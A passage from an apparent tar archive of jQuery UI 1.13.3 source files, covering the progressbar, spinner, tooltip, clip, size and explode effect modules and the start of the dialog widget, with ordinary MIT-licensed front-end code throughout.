strict";"function"==typeof define&&define.amd?define(["jquery","../version","../widget"],e):e(jQuery)}(function(t){"use strict";return t.widget("ui.progressbar",{version:"1.13.3",options:{classes:{"ui-progressbar":"ui-corner-all","ui-progressbar-value":"ui-corner-left","ui-progressbar-complete":"ui-corner-right"},max:100,value:0,change:null,complete:null},min:0,_create:function(){this.oldValue=this.options.value=this._constrainedValue(),this.element.attr({role:"progressbar","aria-valuemin":this.min}),this._addClass("ui-progressbar","ui-widget ui-widget-content"),this.valueDiv=t("<div>").appendTo(this.element),this._addClass(this.valueDiv,"ui-progressbar-value","ui-widget-header"),this._refreshValue()},_destroy:function(){this.element.removeAttr("role aria-valuemin aria-valuemax aria-valuenow"),this.valueDiv.remove()},value:function(e){if(void 0===e)return this.options.value;this.options.value=this._constrainedValue(e),this._refreshValue()},_constrainedValue:function(e){return void 0===e&&(e=this.options.value),this.indeterminate=!1===e,"number"!=typeof e&&(e=0),!this.indeterminate&&Math.min(this.options.max,Math.max(this.min,e))},_setOptions:function(e){var i=e.value;delete e.value,this._super(e),this.options.value=this._constrainedValue(i),this._refreshValue()},_setOption:function(e,i){"max"===e&&(i=Math.max(this.min,i)),this._super(e,i)},_setOptionDisabled:function(e){this._super(e),this.element.attr("aria-disabled",e),this._toggleClass(null,"ui-state-disabled",!!e)},_percentage:function(){return this.indeterminate?100:100*(this.options.value-this.min)/(this.options.max-this.min)},_refreshValue:function(){var e=this.options.value,i=this._percentage();this.valueDiv.toggle(this.indeterminate||e>this.min).width(i.toFixed(0)+"%"),this._toggleClass(this.valueDiv,"ui-progressbar-complete",null,e===this.options.max)._toggleClass("ui-progressbar-indeterminate",null,this.indeterminate),this.indeterminate?(this.element.removeAttr("aria-valuenow"),this.overlayDiv||(this.overlayDiv=t("<div>").appendTo(this.valueDiv),this._addClass(this.overlayDiv,"ui-progressbar-overlay"))):(this.element.attr({"aria-valuemax":this.options.max,"aria-valuenow":e}),this.overlayDiv&&(this.overlayDiv.remove(),this.overlayDiv=null)),this.oldValue!==e&&(this.oldValue=e,this._trigger("change")),e===this.options.max&&this._trigger("complete")}})}); jquery/ui/spinner.min.js 0000644 00000016774 15111757755 0011333 0 ustar 00 /*! * jQuery UI Spinner 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./button","../version","../keycode","../safe-active-element","../widget"],t):t(jQuery)}(function(o){"use strict";function i(i){return function(){var t=this.element.val();i.apply(this,arguments),this._refresh(),t!==this.element.val()&&this._trigger("change")}}return o.widget("ui.spinner",{version:"1.13.3",defaultElement:"<input>",widgetEventPrefix:"spin",options:{classes:{"ui-spinner":"ui-corner-all","ui-spinner-down":"ui-corner-br","ui-spinner-up":"ui-corner-tr"},culture:null,icons:{down:"ui-icon-triangle-1-s",up:"ui-icon-triangle-1-n"},incremental:!0,max:null,min:null,numberFormat:null,page:10,step:1,change:null,spin:null,start:null,stop:null},_create:function(){this._setOption("max",this.options.max),this._setOption("min",this.options.min),this._setOption("step",this.options.step),""!==this.value()&&this._value(this.element.val(),!0),this._draw(),this._on(this._events),this._refresh(),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_getCreateOptions:function(){var e=this._super(),s=this.element;return o.each(["min","max","step"],function(t,i){var n=s.attr(i);null!=n&&n.length&&(e[i]=n)}),e},_events:{keydown:function(t){this._start(t)&&this._keydown(t)&&t.preventDefault()},keyup:"_stop",focus:function(){this.previous=this.element.val()},blur:function(t){this.cancelBlur?delete this.cancelBlur:(this._stop(),this._refresh(),this.previous!==this.element.val()&&this._trigger("change",t))},mousewheel:function(t,i){var n=o.ui.safeActiveElement(this.document[0]);if(this.element[0]===n&&i){if(!this.spinning&&!this._start(t))return!1;this._spin((0<i?1:-1)*this.options.step,t),clearTimeout(this.mousewheelTimer),this.mousewheelTimer=this._delay(function(){this.spinning&&this._stop(t)},100),t.preventDefault()}},"mousedown .ui-spinner-button":function(t){var i;function n(){this.element[0]!==o.ui.safeActiveElement(this.document[0])&&(this.element.trigger("focus"),this.previous=i,this._delay(function(){this.previous=i}))}i=this.element[0]===o.ui.safeActiveElement(this.document[0])?this.previous:this.element.val(),t.preventDefault(),n.call(this),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur,n.call(this)}),!1!==this._start(t)&&this._repeat(null,o(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)},"mouseup .ui-spinner-button":"_stop","mouseenter .ui-spinner-button":function(t){if(o(t.currentTarget).hasClass("ui-state-active"))return!1!==this._start(t)&&void this._repeat(null,o(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)},"mouseleave .ui-spinner-button":"_stop"},_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap("<span>").parent().append("<a></a><a></a>")},_draw:function(){this._enhance(),this._addClass(this.uiSpinner,"ui-spinner","ui-widget ui-widget-content"),this._addClass("ui-spinner-input"),this.element.attr("role","spinbutton"),this.buttons=this.uiSpinner.children("a").attr("tabIndex",-1).attr("aria-hidden",!0).button({classes:{"ui-button":""}}),this._removeClass(this.buttons,"ui-corner-all"),this._addClass(this.buttons.first(),"ui-spinner-button ui-spinner-up"),this._addClass(this.buttons.last(),"ui-spinner-button ui-spinner-down"),this.buttons.first().button({icon:this.options.icons.up,showLabel:!1}),this.buttons.last().button({icon:this.options.icons.down,showLabel:!1}),this.buttons.height()>Math.ceil(.5*this.uiSpinner.height())&&0<this.uiSpinner.height()&&this.uiSpinner.height(this.uiSpinner.height())},_keydown:function(t){var i=this.options,n=o.ui.keyCode;switch(t.keyCode){case n.UP:return this._repeat(null,1,t),!0;case n.DOWN:return this._repeat(null,-1,t),!0;case n.PAGE_UP:return this._repeat(null,i.page,t),!0;case n.PAGE_DOWN:return this._repeat(null,-i.page,t),!0}return!1},_start:function(t){return!(!this.spinning&&!1===this._trigger("start",t))&&(this.counter||(this.counter=1),this.spinning=!0)},_repeat:function(t,i,n){t=t||500,clearTimeout(this.timer),this.timer=this._delay(function(){this._repeat(40,i,n)},t),this._spin(i*this.options.step,n)},_spin:function(t,i){var n=this.value()||0;this.counter||(this.counter=1),n=this._adjustValue(n+t*this._increment(this.counter)),this.spinning&&!1===this._trigger("spin",i,{value:n})||(this._value(n),this.counter++)},_increment:function(t){var i=this.options.incremental;return i?"function"==typeof i?i(t):Math.floor(t*t*t/5e4-t*t/500+17*t/200+1):1},_precision:function(){var t=this._precisionOf(this.options.step);return t=null!==this.options.min?Math.max(t,this._precisionOf(this.options.min)):t},_precisionOf:function(t){var t=t.toString(),i=t.indexOf(".");return-1===i?0:t.length-i-1},_adjustValue:function(t){var i=this.options,n=null!==i.min?i.min:0,e=t-n;return t=n+Math.round(e/i.step)*i.step,t=parseFloat(t.toFixed(this._precision())),null!==i.max&&t>i.max?i.max:null!==i.min&&t<i.min?i.min:t},_stop:function(t){this.spinning&&(clearTimeout(this.timer),clearTimeout(this.mousewheelTimer),this.counter=0,this.spinning=!1,this._trigger("stop",t))},_setOption:function(t,i){var n;"culture"===t||"numberFormat"===t?(n=this._parse(this.element.val()),this.options[t]=i,this.element.val(this._format(n))):("max"!==t&&"min"!==t&&"step"!==t||"string"==typeof i&&(i=this._parse(i)),"icons"===t&&(n=this.buttons.first().find(".ui-icon"),this._removeClass(n,null,this.options.icons.up),this._addClass(n,null,i.up),n=this.buttons.last().find(".ui-icon"),this._removeClass(n,null,this.options.icons.down),this._addClass(n,null,i.down)),this._super(t,i))},_setOptionDisabled:function(t){this._super(t),this._toggleClass(this.uiSpinner,null,"ui-state-disabled",!!t),this.element.prop("disabled",!!t),this.buttons.button(t?"disable":"enable")},_setOptions:i(function(t){this._super(t)}),_parse:function(t){return""===(t="string"==typeof t&&""!==t?window.Globalize&&this.options.numberFormat?Globalize.parseFloat(t,10,this.options.culture):+t:t)||isNaN(t)?null:t},_format:function(t){return""===t?"":window.Globalize&&this.options.numberFormat?Globalize.format(t,this.options.numberFormat,this.options.culture):t},_refresh:function(){this.element.attr({"aria-valuemin":this.options.min,"aria-valuemax":this.options.max,"aria-valuenow":this._parse(this.element.val())})},isValid:function(){var t=this.value();return null!==t&&t===this._adjustValue(t)},_value:function(t,i){var n;""!==t&&null!==(n=this._parse(t))&&(i||(n=this._adjustValue(n)),t=this._format(n)),this.element.val(t),this._refresh()},_destroy:function(){this.element.prop("disabled",!1).removeAttr("autocomplete role aria-valuemin aria-valuemax aria-valuenow"),this.uiSpinner.replaceWith(this.element)},stepUp:i(function(t){this._stepUp(t)}),_stepUp:function(t){this._start()&&(this._spin((t||1)*this.options.step),this._stop())},stepDown:i(function(t){this._stepDown(t)}),_stepDown:function(t){this._start()&&(this._spin((t||1)*-this.options.step),this._stop())},pageUp:i(function(t){this._stepUp((t||1)*this.options.page)}),pageDown:i(function(t){this._stepDown((t||1)*this.options.page)}),value:function(t){if(!arguments.length)return this._parse(this.element.val());i(this._value).call(this,t)},widget:function(){return this.uiSpinner}}),!1!==o.uiBackCompat&&o.widget("ui.spinner",o.ui.spinner,{_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap(this._uiSpinnerHtml()).parent().append(this._buttonHtml())},_uiSpinnerHtml:function(){return"<span>"},_buttonHtml:function(){return"<a></a><a></a>"}}),o.ui.spinner}); jquery/ui/effect-clip.min.js 0000644 00000001434 15111757755 0012021 0 ustar 00 /*! * jQuery UI Effects Clip 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect"],t):t(jQuery)}(function(f){"use strict";return f.effects.define("clip","hide",function(t,e){var i={},o=f(this),c=t.direction||"vertical",n="both"===c,r=n||"horizontal"===c,n=n||"vertical"===c,c=o.cssClip();i.clip={top:n?(c.bottom-c.top)/2:c.top,right:r?(c.right-c.left)/2:c.right,bottom:n?(c.bottom-c.top)/2:c.bottom,left:r?(c.right-c.left)/2:c.left},f.effects.createPlaceholder(o),"show"===t.mode&&(o.cssClip(i.clip),i.clip=c),o.animate(i,{queue:!1,duration:t.duration,easing:t.easing,complete:e})})}); jquery/ui/effect-size.js 0000644 00000012452 15111757755 0011264 0 ustar 00 /*! * jQuery UI Effects Size 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Size Effect //>>group: Effects //>>description: Resize an element to a specified width and height. //>>docs: https://api.jqueryui.com/size-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "size", function( options, done ) { // Create element var baseline, factor, temp, element = $( this ), // Copy for children cProps = [ "fontSize" ], vProps = [ "borderTopWidth", "borderBottomWidth", "paddingTop", "paddingBottom" ], hProps = [ "borderLeftWidth", "borderRightWidth", "paddingLeft", "paddingRight" ], // Set options mode = options.mode, restore = mode !== "effect", scale = options.scale || "both", origin = options.origin || [ "middle", "center" ], position = element.css( "position" ), pos = element.position(), original = $.effects.scaledDimensions( element ), from = options.from || original, to = options.to || $.effects.scaledDimensions( element, 0 ); $.effects.createPlaceholder( element ); if ( mode === "show" ) { temp = from; from = to; to = temp; } // Set scaling factor factor = { from: { y: from.height / original.height, x: from.width / original.width }, to: { y: to.height / original.height, x: to.width / original.width } }; // Scale the css box if ( scale === "box" || scale === "both" ) { // Vertical props scaling if ( factor.from.y !== factor.to.y ) { from = $.effects.setTransition( element, vProps, factor.from.y, from ); to = $.effects.setTransition( element, vProps, factor.to.y, to ); } // Horizontal props scaling if ( factor.from.x !== factor.to.x ) { from = $.effects.setTransition( element, hProps, factor.from.x, from ); to = $.effects.setTransition( element, hProps, factor.to.x, to ); } } // Scale the content if ( scale === "content" || scale === "both" ) { // Vertical props scaling if ( factor.from.y !== factor.to.y ) { from = $.effects.setTransition( element, cProps, factor.from.y, from ); to = $.effects.setTransition( element, cProps, factor.to.y, to ); } } // Adjust the position properties based on the provided origin points if ( origin ) { baseline = $.effects.getBaseline( origin, original ); from.top = ( original.outerHeight - from.outerHeight ) * baseline.y + pos.top; from.left = ( original.outerWidth - from.outerWidth ) * baseline.x + pos.left; to.top = ( original.outerHeight - to.outerHeight ) * baseline.y + pos.top; to.left = ( original.outerWidth - to.outerWidth ) * baseline.x + pos.left; } delete from.outerHeight; delete from.outerWidth; element.css( from ); // Animate the children if desired if ( scale === "content" || scale === "both" ) { vProps = vProps.concat( [ "marginTop", "marginBottom" ] ).concat( cProps ); hProps = hProps.concat( [ "marginLeft", "marginRight" ] ); // Only animate children with width attributes specified // TODO: is this right? should we include anything with css width specified as well element.find( "*[width]" ).each( function() { var child = $( this ), childOriginal = $.effects.scaledDimensions( child ), childFrom = { height: childOriginal.height * factor.from.y, width: childOriginal.width * factor.from.x, outerHeight: childOriginal.outerHeight * factor.from.y, outerWidth: childOriginal.outerWidth * factor.from.x }, childTo = { height: childOriginal.height * factor.to.y, width: childOriginal.width * factor.to.x, outerHeight: childOriginal.height * factor.to.y, outerWidth: childOriginal.width * factor.to.x }; // Vertical props scaling if ( factor.from.y !== factor.to.y ) { childFrom = $.effects.setTransition( child, vProps, factor.from.y, childFrom ); childTo = $.effects.setTransition( child, vProps, factor.to.y, childTo ); } // Horizontal props scaling if ( factor.from.x !== factor.to.x ) { childFrom = $.effects.setTransition( child, hProps, factor.from.x, childFrom ); childTo = $.effects.setTransition( child, hProps, factor.to.x, childTo ); } if ( restore ) { $.effects.saveStyle( child ); } // Animate children child.css( childFrom ); child.animate( childTo, options.duration, options.easing, function() { // Restore children if ( restore ) { $.effects.restoreStyle( child ); } } ); } ); } // Animate element.animate( to, { queue: false, duration: options.duration, easing: options.easing, complete: function() { var offset = element.offset(); if ( to.opacity === 0 ) { element.css( "opacity", from.opacity ); } if ( !restore ) { element .css( "position", position === "static" ? "relative" : position ) .offset( offset ); // Need to save style here so that automatic style restoration // doesn't restore to the original styles from before the animation. $.effects.saveStyle( element ); } done(); } } ); } ); } ); jquery/ui/tooltip.min.js 0000644 00000014144 15111757755 0011334 0 ustar 00 /*! * jQuery UI Tooltip 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","../keycode","../position","../unique-id","../version","../widget"],t):t(jQuery)}(function(r){"use strict";return r.widget("ui.tooltip",{version:"1.13.3",options:{classes:{"ui-tooltip":"ui-corner-all ui-widget-shadow"},content:function(){var t=r(this).attr("title");return r("<a>").text(t).html()},hide:!0,items:"[title]:not([disabled])",position:{my:"left top+15",at:"left bottom",collision:"flipfit flip"},show:!0,track:!1,close:null,open:null},_addDescribedBy:function(t,i){var e=(t.attr("aria-describedby")||"").split(/\s+/);e.push(i),t.data("ui-tooltip-id",i).attr("aria-describedby",String.prototype.trim.call(e.join(" ")))},_removeDescribedBy:function(t){var i=t.data("ui-tooltip-id"),e=(t.attr("aria-describedby")||"").split(/\s+/),i=r.inArray(i,e);-1!==i&&e.splice(i,1),t.removeData("ui-tooltip-id"),(e=String.prototype.trim.call(e.join(" ")))?t.attr("aria-describedby",e):t.removeAttr("aria-describedby")},_create:function(){this._on({mouseover:"open",focusin:"open"}),this.tooltips={},this.parents={},this.liveRegion=r("<div>").attr({role:"log","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this.disabledTitles=r([])},_setOption:function(t,i){var e=this;this._super(t,i),"content"===t&&r.each(this.tooltips,function(t,i){e._updateContent(i.element)})},_setOptionDisabled:function(t){this[t?"_disable":"_enable"]()},_disable:function(){var o=this;r.each(this.tooltips,function(t,i){var e=r.Event("blur");e.target=e.currentTarget=i.element[0],o.close(e,!0)}),this.disabledTitles=this.disabledTitles.add(this.element.find(this.options.items).addBack().filter(function(){var t=r(this);if(t.is("[title]"))return t.data("ui-tooltip-title",t.attr("title")).removeAttr("title")}))},_enable:function(){this.disabledTitles.each(function(){var t=r(this);t.data("ui-tooltip-title")&&t.attr("title",t.data("ui-tooltip-title"))}),this.disabledTitles=r([])},open:function(t){var e=this,i=r(t?t.target:this.element).closest(this.options.items);i.length&&!i.data("ui-tooltip-id")&&(i.attr("title")&&i.data("ui-tooltip-title",i.attr("title")),i.data("ui-tooltip-open",!0),t&&"mouseover"===t.type&&i.parents().each(function(){var t,i=r(this);i.data("ui-tooltip-open")&&((t=r.Event("blur")).target=t.currentTarget=this,e.close(t,!0)),i.attr("title")&&(i.uniqueId(),e.parents[this.id]={element:this,title:i.attr("title")},i.attr("title",""))}),this._registerCloseHandlers(t,i),this._updateContent(i,t))},_updateContent:function(i,e){var t=this.options.content,o=this,n=e?e.type:null;if("string"==typeof t||t.nodeType||t.jquery)return this._open(e,i,t);(t=t.call(i[0],function(t){o._delay(function(){i.data("ui-tooltip-open")&&(e&&(e.type=n),this._open(e,i,t))})}))&&this._open(e,i,t)},_open:function(t,i,e){var o,n,s,l=r.extend({},this.options.position);function a(t){l.of=t,o.is(":hidden")||o.position(l)}e&&((s=this._find(i))?s.tooltip.find(".ui-tooltip-content").html(e):(i.is("[title]")&&(t&&"mouseover"===t.type?i.attr("title",""):i.removeAttr("title")),s=this._tooltip(i),o=s.tooltip,this._addDescribedBy(i,o.attr("id")),o.find(".ui-tooltip-content").html(e),this.liveRegion.children().hide(),(s=r("<div>").html(o.find(".ui-tooltip-content").html())).removeAttr("name").find("[name]").removeAttr("name"),s.removeAttr("id").find("[id]").removeAttr("id"),s.appendTo(this.liveRegion),this.options.track&&t&&/^mouse/.test(t.type)?(this._on(this.document,{mousemove:a}),a(t)):o.position(r.extend({of:i},this.options.position)),o.hide(),this._show(o,this.options.show),this.options.track&&this.options.show&&this.options.show.delay&&(n=this.delayedShow=setInterval(function(){o.is(":visible")&&(a(l.of),clearInterval(n))},13)),this._trigger("open",t,{tooltip:o})))},_registerCloseHandlers:function(t,i){var e={keyup:function(t){t.keyCode===r.ui.keyCode.ESCAPE&&((t=r.Event(t)).currentTarget=i[0],this.close(t,!0))}};i[0]!==this.element[0]&&(e.remove=function(){var t=this._find(i);t&&this._removeTooltip(t.tooltip)}),t&&"mouseover"!==t.type||(e.mouseleave="close"),t&&"focusin"!==t.type||(e.focusout="close"),this._on(!0,i,e)},close:function(t){var i,e=this,o=r(t?t.currentTarget:this.element),n=this._find(o);n?(i=n.tooltip,n.closing||(clearInterval(this.delayedShow),o.data("ui-tooltip-title")&&!o.attr("title")&&o.attr("title",o.data("ui-tooltip-title")),this._removeDescribedBy(o),n.hiding=!0,i.stop(!0),this._hide(i,this.options.hide,function(){e._removeTooltip(r(this))}),o.removeData("ui-tooltip-open"),this._off(o,"mouseleave focusout keyup"),o[0]!==this.element[0]&&this._off(o,"remove"),this._off(this.document,"mousemove"),t&&"mouseleave"===t.type&&r.each(this.parents,function(t,i){r(i.element).attr("title",i.title),delete e.parents[t]}),n.closing=!0,this._trigger("close",t,{tooltip:i}),n.hiding)||(n.closing=!1)):o.removeData("ui-tooltip-open")},_tooltip:function(t){var i=r("<div>").attr("role","tooltip"),e=r("<div>").appendTo(i),o=i.uniqueId().attr("id");return this._addClass(e,"ui-tooltip-content"),this._addClass(i,"ui-tooltip","ui-widget ui-widget-content"),i.appendTo(this._appendTo(t)),this.tooltips[o]={element:t,tooltip:i}},_find:function(t){t=t.data("ui-tooltip-id");return t?this.tooltips[t]:null},_removeTooltip:function(t){clearInterval(this.delayedShow),t.remove(),delete this.tooltips[t.attr("id")]},_appendTo:function(t){t=t.closest(".ui-front, dialog");return t=t.length?t:this.document[0].body},_destroy:function(){var o=this;r.each(this.tooltips,function(t,i){var e=r.Event("blur"),i=i.element;e.target=e.currentTarget=i[0],o.close(e,!0),r("#"+t).remove(),i.data("ui-tooltip-title")&&(i.attr("title")||i.attr("title",i.data("ui-tooltip-title")),i.removeData("ui-tooltip-title"))}),this.liveRegion.remove()}}),!1!==r.uiBackCompat&&r.widget("ui.tooltip",r.ui.tooltip,{options:{tooltipClass:null},_tooltip:function(){var t=this._superApply(arguments);return this.options.tooltipClass&&t.tooltip.addClass(this.options.tooltipClass),t}}),r.ui.tooltip}); jquery/ui/effect-explode.min.js 0000644 00000002142 15111757755 0012527 0 ustar 00 /*! * jQuery UI Effects Explode 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect"],e):e(jQuery)}(function(b){"use strict";return b.effects.define("explode","hide",function(e,i){var t,o,s,n,f,d,c=e.pieces?Math.round(Math.sqrt(e.pieces)):3,a=c,l=b(this),r="show"===e.mode,h=l.show().css("visibility","hidden").offset(),p=Math.ceil(l.outerWidth()/a),u=Math.ceil(l.outerHeight()/c),v=[];function y(){v.push(this),v.length===c*a&&(l.css({visibility:"visible"}),b(v).remove(),i())}for(t=0;t<c;t++)for(n=h.top+t*u,d=t-(c-1)/2,o=0;o<a;o++)s=h.left+o*p,f=o-(a-1)/2,l.clone().appendTo("body").wrap("<div></div>").css({position:"absolute",visibility:"visible",left:-o*p,top:-t*u}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:p,height:u,left:s+(r?f*p:0),top:n+(r?d*u:0),opacity:r?0:1}).animate({left:s+(r?0:f*p),top:n+(r?0:d*u),opacity:r?1:0},e.duration||500,e.easing,y)})}); jquery/ui/dialog.js 0000644 00000056530 15111757755 0010324 0 ustar 00 /*! * jQuery UI Dialog 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Dialog //>>group: Widgets //>>description: Displays customizable dialog windows. //>>docs: https://api.jqueryui.com/dialog/ //>>demos: https://jqueryui.com/dialog/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/dialog.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./button", "./draggable", "./mouse", "./resizable", "../focusable", "../keycode", "../position", "../safe-active-element", "../safe-blur", "../tabbable", "../unique-id", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.dialog", { version: "1.13.3", options: { appendTo: "body", autoOpen: true, buttons: [], classes: { "ui-dialog": "ui-corner-all", "ui-dialog-titlebar": "ui-corner-all" }, closeOnEscape: true, closeText: "Close", draggable: true, hide: null, height: "auto", maxHeight: null, maxWidth: null, minHeight: 150, minWidth: 150, modal: false, position: { my: "center", at: "center", of: window, collision: "fit", // Ensure the titlebar is always visible using: function( pos ) { var topOffset = $( this ).css( pos ).offset().top; if ( topOffset < 0 ) { $( this ).css( "top", pos.top - topOffset ); } } }, resizable: true, show: null, title: null, width: 300, // Callbacks beforeClose: null, close: null, drag: null, dragStart: null, dragStop: null, focus: null, open: null, resize: null, resizeStart: null, resizeStop: null }, sizeRelatedOptions: { buttons: true, height: true, maxHeight: true, maxWidth: true, minHeight: true, minWidth: true, width: true }, resizableRelatedOptions: { maxHeight: true, maxWidth: true, minHeight: true, minWidth: true }, _create: function() { this.originalCss = { display: this.element[ 0 ].style.display, width: this.element[ 0 ].style.width, minHeight: this.element[ 0 ].style.minHeight, maxHeight: this.element[ 0 ].style.maxHeight, height: this.element[ 0 ].style.height }; this.originalPosition = { parent: this.element.parent(), index: this.element.parent().children().index( this.element ) }; this.originalTitle = this.element.attr( "title" ); if ( this.options.title == null && this.originalTitle != null ) { this.options.title = this.originalTitle; } // Dialogs can't be disabled if ( this.options.disabled ) { this.options.disabled = false; } this._createWrapper(); this.element .show() .removeAttr( "title" ) .appendTo( this.uiDialog ); this._addClass( "ui-dialog-content", "ui-widget-content" ); this._createTitlebar(); this._createButtonPane(); if ( this.options.draggable && $.fn.draggable ) { this._makeDraggable(); } if ( this.options.resizable && $.fn.resizable ) { this._makeResizable(); } this._isOpen = false; this._trackFocus(); }, _init: function() { if ( this.options.autoOpen ) { this.open(); } }, _appendTo: function() { var element = this.options.appendTo; if ( element && ( element.jquery || element.nodeType ) ) { return $( element ); } return this.document.find( element || "body" ).eq( 0 ); }, _destroy: function() { var next, originalPosition = this.originalPosition; this._untrackInstance(); this._destroyOverlay(); this.element .removeUniqueId() .css( this.originalCss ) // Without detaching first, the following becomes really slow .detach(); this.uiDialog.remove(); if ( this.originalTitle ) { this.element.attr( "title", this.originalTitle ); } next = originalPosition.parent.children().eq( originalPosition.index ); // Don't try to place the dialog next to itself (#8613) if ( next.length && next[ 0 ] !== this.element[ 0 ] ) { next.before( this.element ); } else { originalPosition.parent.append( this.element ); } }, widget: function() { return this.uiDialog; }, disable: $.noop, enable: $.noop, close: function( event ) { var that = this; if ( !this._isOpen || this._trigger( "beforeClose", event ) === false ) { return; } this._isOpen = false; this._focusedElement = null; this._destroyOverlay(); this._untrackInstance(); if ( !this.opener.filter( ":focusable" ).trigger( "focus" ).length ) { // Hiding a focused element doesn't trigger blur in WebKit // so in case we have nothing to focus on, explicitly blur the active element // https://bugs.webkit.org/show_bug.cgi?id=47182 $.ui.safeBlur( $.ui.safeActiveElement( this.document[ 0 ] ) ); } this._hide( this.uiDialog, this.options.hide, function() { that._trigger( "close", event ); } ); }, isOpen: function() { return this._isOpen; }, moveToTop: function() { this._moveToTop(); }, _moveToTop: function( event, silent ) { var moved = false, zIndices = this.uiDialog.siblings( ".ui-front:visible" ).map( function() { return +$( this ).css( "z-index" ); } ).get(), zIndexMax = Math.max.apply( null, zIndices ); if ( zIndexMax >= +this.uiDialog.css( "z-index" ) ) { this.uiDialog.css( "z-index", zIndexMax + 1 ); moved = true; } if ( moved && !silent ) { this._trigger( "focus", event ); } return moved; }, open: function() { var that = this; if ( this._isOpen ) { if ( this._moveToTop() ) { this._focusTabbable(); } return; } this._isOpen = true; this.opener = $( $.ui.safeActiveElement( this.document[ 0 ] ) ); this._size(); this._position(); this._createOverlay(); this._moveToTop( null, true ); // Ensure the overlay is moved to the top with the dialog, but only when // opening. The overlay shouldn't move after the dialog is open so that // modeless dialogs opened after the modal dialog stack properly. if ( this.overlay ) { this.overlay.css( "z-index", this.uiDialog.css( "z-index" ) - 1 ); } this._show( this.uiDialog, this.options.show, function() { that._focusTabbable(); that._trigger( "focus" ); } ); // Track the dialog immediately upon opening in case a focus event // somehow occurs outside of the dialog before an element inside the // dialog is focused (#10152) this._makeFocusTarget(); this._trigger( "open" ); }, _focusTabbable: function() { // Set focus to the first match: // 1. An element that was focused previously // 2. First element inside the dialog matching [autofocus] // 3. Tabbable element inside the content element // 4. Tabbable element inside the buttonpane // 5. The close button // 6. The dialog itself var hasFocus = this._focusedElement; if ( !hasFocus ) { hasFocus = this.element.find( "[autofocus]" ); } if ( !hasFocus.length ) { hasFocus = this.element.find( ":tabbable" ); } if ( !hasFocus.length ) { hasFocus = this.uiDialogButtonPane.find( ":tabbable" ); } if ( !hasFocus.length ) { hasFocus = this.uiDialogTitlebarClose.filter( ":tabbable" ); } if ( !hasFocus.length ) { hasFocus = this.uiDialog; } hasFocus.eq( 0 ).trigger( "focus" ); }, _restoreTabbableFocus: function() { var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ), isActive = this.uiDialog[ 0 ] === activeElement || $.contains( this.uiDialog[ 0 ], activeElement ); if ( !isActive ) { this._focusTabbable(); } }, _keepFocus: function( event ) { event.preventDefault(); this._restoreTabbableFocus(); // support: IE // IE <= 8 doesn't prevent moving focus even with event.preventDefault() // so we check again later this._delay( this._restoreTabbableFocus ); }, _createWrapper: function() { this.uiDialog = $( "<div>" ) .hide() .attr( { // Setting tabIndex makes the div focusable tabIndex: -1, role: "dialog" } ) .appendTo( this._appendTo() ); this._addClass( this.uiDialog, "ui-dialog", "ui-widget ui-widget-content ui-front" ); this._on( this.uiDialog, { keydown: function( event ) { if ( this.options.closeOnEscape && !event.isDefaultPrevented() && event.keyCode && event.keyCode === $.ui.keyCode.ESCAPE ) { event.preventDefault(); this.close( event ); return; } // Prevent tabbing out of dialogs if ( event.keyCode !== $.ui.keyCode.TAB || event.isDefaultPrevented() ) { return; } var tabbables = this.uiDialog.find( ":tabbable" ), first = tabbables.first(), last = tabbables.last(); if ( ( event.target === last[ 0 ] || event.target === this.uiDialog[ 0 ] ) && !event.shiftKey ) { this._delay( function() { first.trigger( "focus" ); } ); event.preventDefault(); } else if ( ( event.target === first[ 0 ] || event.target === this.uiDialog[ 0 ] ) && event.shiftKey ) { this._delay( function() { last.trigger( "focus" ); } ); event.preventDefault(); } }, mousedown: function( event ) { if ( this._moveToTop( event ) ) { this._focusTabbable(); } } } ); // We assume that any existing aria-describedby attribute means // that the dialog content is marked up properly // otherwise we brute force the content as the description if ( !this.element.find( "[aria-describedby]" ).length ) { this.uiDialog.attr( { "aria-describedby": this.element.uniqueId().attr( "id" ) } ); } }, _createTitlebar: function() { var uiDialogTitle; this.uiDialogTitlebar = $( "<div>" ); this._addClass( this.uiDialogTitlebar, "ui-dialog-titlebar", "ui-widget-header ui-helper-clearfix" ); this._on( this.uiDialogTitlebar, { mousedown: function( event ) { // Don't prevent click on close button (#8838) // Focusing a dialog that is partially scrolled out of view // causes the browser to scroll it into view, preventing the click event if ( !$( event.target ).closest( ".ui-dialog-titlebar-close" ) ) { // Dialog isn't getting focus when dragging (#8063) this.uiDialog.trigger( "focus" ); } } } ); // Support: IE // Use type="button" to prevent enter keypresses in textboxes from closing the // dialog in IE 